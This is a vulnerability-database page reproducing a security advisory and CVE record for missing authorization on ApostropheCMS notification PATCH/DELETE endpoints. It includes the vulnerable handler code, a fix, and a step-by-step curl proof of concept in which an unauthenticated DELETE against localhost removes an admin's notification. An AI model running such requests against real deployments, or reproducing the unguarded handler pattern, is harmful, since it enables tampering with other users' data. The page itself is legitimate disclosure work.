Vulnerability-Lookup

GHSA-VWWX-PX9W-CRRC

Vulnerability from github – Published: 2026-10-20 18:25 – Updated: 2026-10-20 18:25

Summary

ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints

Details

Summary

The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.

Affected Code

File

packages/apostrophe/modules/@apostrophecms/notification/index.js

// restApiRoutes
async patch(req, _id) {
  const dismissed = self.apos.launder.boolean(req.body.dismissed);

  if (dismissed) {
    await self.emit('beforeSave', req, { _id, dismissed });

    await self.db.updateOne(
      { _id },
      {
        $set: { dismissed },
        $currentDate: { updatedAt: true }
      }
    );
  }
},

async delete(req, _id) {
  await self.db.deleteMany({ _id });
}

Unlike the GET notification route, these handlers do not verify:

Authentication (req.user)
Ownership (userId === req.user._id)
Authorization or permissions

Instead, the supplied _id is used directly against the raw MongoDB collection.

Root Cause

The notification REST endpoints perform database operations directly using self.db without enforcing authentication or authorization.

While the framework provides permission primitives (req.user, ownership checks, and apos.permission), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.

For comparison, the GET notification route correctly checks:

if (!(req.user && req.user._id)) {
  throw self.apos.error('invalid');
}

No equivalent validation exists in the PATCH or DELETE handlers.

Proof of Concept

1. Log in as an administrator

curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "username":"admin",
  "password":"AdminP@ssw0rd123!",
  "session":true
}'

2. Create a notification

curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "message":"manual verify test",
  "type":"info"
}'

Example response:

{
  "noteId":"p358r7phi2w8l245ww5130uf"
}

3. Verify the notification exists

curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

{
  "notifications":[
    {
      "_id":"p358r7phi2w8l245ww5130uf",
      "userId":"i89h844o5n3nbreis0ugusum",
      "message":"manual verify test"
    }
  ],
  "dismissed":[]
}

4. Access the endpoint without authentication

Create a fresh cookie jar containing only the public CSRF cookie:

rm -f anon_cookies.txt

curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

Then send the request without any authenticated session:

curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"

Response:

HTTP/1.1 200 OK

5. Verify the notification has been deleted

curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

{
  "notifications":[],
  "dismissed":[]
}

The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.

Impact

An attacker who obtains a valid notification ID can:

Delete another user's notifications.
Mark another user's notifications as dismissed.
Suppress security-related or administrative notifications.

The vulnerability primarily affects integrity.

Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.

Recommended Fix

Require authentication before processing any modification request.

Additionally, scope all database operations to the authenticated user.

Example:

// patch
async patch(req, _id) {
  if (!req.user) {
    throw self.apos.error('forbidden');
  }
  const dismissed = self.apos.launder.boolean(req.body.dismissed);
  if (dismissed) {
    await self.emit('beforeSave', req, { _id, dismissed });
    const result = await self.db.updateOne(
      { _id, userId: req.user._id },   // <-- ownership check
      { $set: { dismissed }, $currentDate: { updatedAt: true } }
    );
    if (!result.matchedCount) {
      throw self.apos.error('notfound');
    }
  }
},
// delete
async delete(req, _id) {
  if (!req.user) {
    throw self.apos.error('forbidden');
  }
  const result = await self.db.deleteMany({ _id, userId: req.user._id });
  if (!result.deletedCount) {
    throw self.apos.error('notfound');
  }
}

Similarly, update the PATCH handler to verify both authentication and ownership before updating notification records.

Recommendation

Every notification modification endpoint should:

Require authentication.
Verify ownership (userId === req.user._id).
Return 403 Forbidden for unauthorized requests.
Avoid performing database operations solely using a user-controlled _id.

The same authorization checks should also be applied to any internal helper methods (such as dismiss()) that modify notification state.

Severity

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T18:25:38Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.\n\nAs a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user\u0027s notification.\n\n---\n\n## Affected Code\n\n**File**\n\n```text\npackages/apostrophe/modules/@apostrophecms/notification/index.js\n```\n\n```javascript\n// restApiRoutes\nasync patch(req, _id) {\n  const dismissed = self.apos.launder.boolean(req.body.dismissed);\n\n  if (dismissed) {\n    await self.emit(\u0027beforeSave\u0027, req, { _id, dismissed });\n\n    await self.db.updateOne(\n      { _id },\n      {\n        $set: { dismissed },\n        $currentDate: { updatedAt: true }\n      }\n    );\n  }\n},\n\nasync delete(req, _id) {\n  await self.db.deleteMany({ _id });\n}\n```\n\nUnlike the `GET` notification route, these handlers do **not** verify:\n\n- Authentication (`req.user`)\n- Ownership (`userId === req.user._id`)\n- Authorization or permissions\n\nInstead, the supplied `_id` is used directly against the raw MongoDB collection.\n\n---\n\n## Root Cause\n\nThe notification REST endpoints perform database operations directly using `self.db` without enforcing authentication or authorization.\n\nWhile the framework provides permission primitives (`req.user`, ownership checks, and `apos.permission`), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.\n\nFor comparison, the `GET` notification route correctly checks:\n\n```javascript\nif (!(req.user \u0026\u0026 req.user._id)) {\n  throw self.apos.error(\u0027invalid\u0027);\n}\n```\n\nNo equivalent validation exists in the `PATCH` or `DELETE` handlers.\n\n---\n\n## Proof of Concept\n\n### 1. Log in as an administrator\n\n```bash\ncurl -sS -c admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n\ncurl -sS \\\n-b admin_cookies.txt \\\n-c admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/login/login \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d \u0027{\n  \"username\":\"admin\",\n  \"password\":\"AdminP@ssw0rd123!\",\n  \"session\":true\n}\u0027\n```\n\n---\n\n### 2. Create a notification\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/notification \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d \u0027{\n  \"message\":\"manual verify test\",\n  \"type\":\"info\"\n}\u0027\n```\n\nExample response:\n\n```json\n{\n  \"noteId\":\"p358r7phi2w8l245ww5130uf\"\n}\n```\n\n---\n\n### 3. Verify the notification exists\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n  \"notifications\":[\n    {\n      \"_id\":\"p358r7phi2w8l245ww5130uf\",\n      \"userId\":\"i89h844o5n3nbreis0ugusum\",\n      \"message\":\"manual verify test\"\n    }\n  ],\n  \"dismissed\":[]\n}\n```\n\n---\n\n### 4. Access the endpoint without authentication\n\nCreate a fresh cookie jar containing only the public CSRF cookie:\n\n```bash\nrm -f anon_cookies.txt\n\ncurl -sS \\\n-c anon_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n```\n\nThen send the request **without any authenticated session**:\n\n```bash\ncurl -i \\\n-b anon_cookies.txt \\\n-X DELETE \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\" \\\n-H \"X-XSRF-TOKEN: csrf\"\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\n```\n\n---\n\n### 5. Verify the notification has been deleted\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n  \"notifications\":[],\n  \"dismissed\":[]\n}\n```\n\nThe notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.\n\n---\n\n## Impact\n\nAn attacker who obtains a valid notification ID can:\n\n- Delete another user\u0027s notifications.\n- Mark another user\u0027s notifications as dismissed.\n- Suppress security-related or administrative notifications.\n\nThe vulnerability primarily affects **integrity**.\n\nAlthough notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.\n\n---\n\n## Recommended Fix\n\nRequire authentication before processing any modification request.\n\nAdditionally, scope all database operations to the authenticated user.\n\nExample:\n\n```javascript\n// patch\nasync patch(req, _id) {\n  if (!req.user) {\n    throw self.apos.error(\u0027forbidden\u0027);\n  }\n  const dismissed = self.apos.launder.boolean(req.body.dismissed);\n  if (dismissed) {\n    await self.emit(\u0027beforeSave\u0027, req, { _id, dismissed });\n    const result = await self.db.updateOne(\n      { _id, userId: req.user._id },   // \u003c-- ownership check\n      { $set: { dismissed }, $currentDate: { updatedAt: true } }\n    );\n    if (!result.matchedCount) {\n      throw self.apos.error(\u0027notfound\u0027);\n    }\n  }\n},\n// delete\nasync delete(req, _id) {\n  if (!req.user) {\n    throw self.apos.error(\u0027forbidden\u0027);\n  }\n  const result = await self.db.deleteMany({ _id, userId: req.user._id });\n  if (!result.deletedCount) {\n    throw self.apos.error(\u0027notfound\u0027);\n  }\n}\n```\n\nSimilarly, update the `PATCH` handler to verify both authentication and ownership before updating notification records.\n\n---\n\n## Recommendation\n\nEvery notification modification endpoint should:\n\n- Require authentication.\n- Verify ownership (`userId === req.user._id`).\n- Return `403 Forbidden` for unauthorized requests.\n- Avoid performing database operations solely using a user-controlled `_id`.\n\nThe same authorization checks should also be applied to any internal helper methods (such as `dismiss()`) that modify notification state.",
  "id": "GHSA-vwwx-px9w-crrc",
  "modified": "2026-10-20T18:25:38Z",
  "published": "2026-10-20T18:25:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints"
}

CVE-2026-113665 (GCVE-0-2026-113665)

Vulnerability from cvelistv5 – Published: 2026-10-20 17:19 – Updated: 2026-10-20 17:19

Title

ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints

Summary

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.

Severity

3.7 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key
CWE-862 - Missing Authorization

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7639 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/apostrophecms/apostrophe/secur…	x_refsource_CONFIRM
https://github.com/apostrophecms/apostrophe/commi…	x_refsource_MISC
https://github.com/apostrophecms/apostrophe/commi…	x_refsource_MISC
https://github.com/apostrophecms/apostrophe/relea…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
apostrophecms	apostrophe	Affected: < 4.33.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "apostrophe",
          "vendor": "apostrophecms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.33.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user\u0027s notification. This issue is fixed in version 4.33.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 3.7,
            "baseSeverity": "LOW",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-20T17:19:56.123Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc"
        },
        {
          "name": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
        },
        {
          "name": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
        },
        {
          "name": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
        }
      ],
      "source": {
        "advisory": "GHSA-vwwx-px9w-crrc",
        "discovery": "UNKNOWN"
      },
      "title": "ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-113665",
    "datePublished": "2026-10-20T17:19:56.123Z",
    "dateReserved": "2026-10-20T14:27:46.641Z",
    "dateUpdated": "2026-10-20T17:19:56.123Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-VWWX-PX9W-CRRC

Summary

Affected Code

Root Cause

Proof of Concept

1. Log in as an administrator

2. Create a notification

3. Verify the notification exists

4. Access the endpoint without authentication

5. Verify the notification has been deleted

Impact

Recommended Fix

Recommendation

CVE-2026-113665 (GCVE-0-2026-113665)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour